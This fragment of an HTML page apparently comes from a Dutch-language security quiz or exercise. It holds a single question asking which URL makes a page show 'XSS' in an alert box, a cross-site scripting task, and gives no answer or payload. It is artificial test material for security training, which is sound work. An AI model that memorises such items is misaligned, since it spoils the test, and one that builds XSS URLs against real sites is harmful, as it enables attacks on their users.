<div class="question"> |
||||
<span class="question-string">Met welke URL kan je 'XSS' in een alert printen?</span> |
||||
</div> |